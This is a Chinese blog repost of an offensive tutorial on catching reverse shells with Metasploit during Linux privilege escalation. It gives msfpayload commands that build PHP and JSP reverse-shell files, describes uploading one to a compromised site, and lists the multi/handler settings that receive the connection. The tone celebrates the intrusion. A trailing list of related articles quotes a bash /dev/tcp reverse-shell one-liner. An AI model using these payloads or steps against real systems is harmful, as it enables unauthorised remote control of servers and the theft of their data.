当Linux提权不能反弹Shell时利用metasploit进行提权

当LINUX提权反弹不了时.经常遇到这种情况请出MSF ..

1 .生成WEBSHELL文件
msf > msfpayload php/reverse_php LHOST=你的IP LPORT=端口 R > dis9.php
我的BT4是在/ROOT/ 目录然后吧dis9.php加才能运行
把dis9.php传进你的SHELL里例如 www.91ri.org/dis9.php

2 . 然后MSF设置接口模板和参数
msf > use multi/handler //进入 multi/handler 接口
msf exploit(handler) > set PAYLOAD php/reverse_php //写入模块不清楚的可以先 info php/reverse_php 看看介绍
msf exploit(handler) > set LHOST 你的IP //生成dis9.php的LHOST的IP 也就是你的IP 要一样
msf exploit(handler) > set LPORT 8080 //同上
msf exploit(handler) > exploit //执行

3.反弹SHELL
然后访问你的dis9.php
root@bt4:links www.91ri.org/dis9.php
这样就会反弹一个SHELL
我们就可以继续FUCK ALL

/
JSP
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
——————————————————-
这里没SET端口默认的4444

转载于:https://www.cnblogs.com/mujj/articles/2184641.html

当Linux提权不能反弹Shell时利用metasploit进行提权相关推荐

linux下几种反弹Shell方法的总结与理解
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
提权（概述、水平/垂直越权、windows/linux提权、反弹shell、Linux_Exploit_Suggester、searchsploit）
文章目录提权一.概述二.水平越权&垂直越权三.分类 - windows 1. 基于windows2003 2. 基于windows2008 3. ms SQL提权 5. nc反弹she ...
059 提权与反弹shell
文章目录一:权限提升概述二:windows提权 2.1: 启动项提权 2.2:系统漏洞提权 2.2.1:笔记 2.2.2:部分截图 2.2.3:收集到的漏洞列表: 2.2.4:windows200 ...
【好文转载】linux反弹shell的各种姿势
本文为转载,原作者与链接如下: 作者:@11阳光 https://www.cnblogs.com/sunny11/p/14290092.html 题记搞完xss钓鱼一时不知道服务器还能干点什么,然后 ...
网络安全-木马入侵windows -msfvenom反弹shell（CMD）
网络安全-木马入侵windows -msfvenom反弹shell(CMD) 前言一,我也是初学者记录的笔记二,可能有错误的地方,请谨慎三,欢迎各路大神指教四,任何文章仅作为学习使用五,学习 ...
常见的反弹shell的方法以及对反弹shell的解释
文章目录一.什么是反弹shell,以及对反弹shell作用原理的解析: 3.反弹shell的本质 linux文件描述符重定向输入重定向输出重定向标准输出与标准错误输出重定向文件描述符的复制 ...
mysql 反弹shell_Linux下几种反弹Shell方法的总结与理解
*本文原创作者:LlawLiet,本文属FreeBuf原创奖励计划,未经许可禁止转载. 之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了 ...
安全技术系列之反弹Shell
原文出处:https://xz.aliyun.com/t/9488 前言在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了. 反弹shell, ...
【转】反弹Shell，看这一篇就够了
前言在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了. 反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到 ...

当Linux提权不能反弹Shell时利用metasploit进行提权

当Linux提权不能反弹Shell时利用metasploit进行提权相关推荐

最新文章

热门文章